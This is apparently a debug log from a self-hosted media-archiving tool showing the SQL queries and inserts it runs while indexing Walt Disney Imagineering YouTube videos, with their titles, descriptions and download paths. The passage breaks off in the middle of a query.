idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:26.707 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-27 00:00:00Z], 2] 18:55:26.710 [debug] QUERY OK source="media_items" db=1.5ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "932f0d40-7bb5-4753-a1f6-7ad4dd17a942", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", false, false, 15, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, false, 2, [], 98, ~U[2025-10-27 00:00:00Z], ~U[2026-03-30 22:55:26Z], ~U[2026-03-30 22:55:26Z], "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", nil, false, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, 2, ~U[2025-10-27 00:00:00Z]] 18:55:26.710 [debug] QUERY OK source="sources" db=0.1ms idle=108.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:26.711 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:26.711 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2423] 18:55:26.711 [debug] Current batch of media processed. Will check again in 1000ms 18:55:27.712 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", "id" => "CXLICqOYoh0", "original_url" => "https://www.youtube.com/watch?v=CXLICqOYoh0", "playlist_index" => 16, "title" => "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "upload_date" => "20251019"} 18:55:27.713 [debug] QUERY OK source="sources" db=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:27.713 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:27.714 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-19 00:00:00Z], 2] 18:55:27.716 [debug] QUERY OK source="media_items" db=1.7ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "acdea7b3-6841-4b38-a829-dd060eb10d3a", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", false, false, 16, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, false, 2, [], 98, ~U[2025-10-19 00:00:00Z], ~U[2026-03-30 22:55:27Z], ~U[2026-03-30 22:55:27Z], "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", nil, false, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, 2, ~U[2025-10-19 00:00:00Z]] 18:55:27.717 [debug] QUERY OK source="sources" db=0.1ms idle=113.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:27.717 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:27.717 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2270] 18:55:27.718 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "filename" => "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", "id" => "bFK8MrHLe1Y", "original_url" => "https://www.youtube.com/watch?v=bFK8MrHLe1Y", "playlist_index" => 17, "title" => "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "upload_date" => "20251006"} 18:55:27.718 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:27.718 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:27.719 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-06 00:00:00Z], 2] 18:55:27.720 [debug] QUERY OK source="media_items" db=1.0ms idle=2.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "4e29b19a-b287-4ef1-83d9-64a6a6422a15", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", false, false, 17, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].NA", false, false, 2, [], 98, ~U[2025-10-06 00:00:00Z], ~U[2026-03-30 22:55:27Z], ~U[2026-03-30 22:55:27Z], "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → 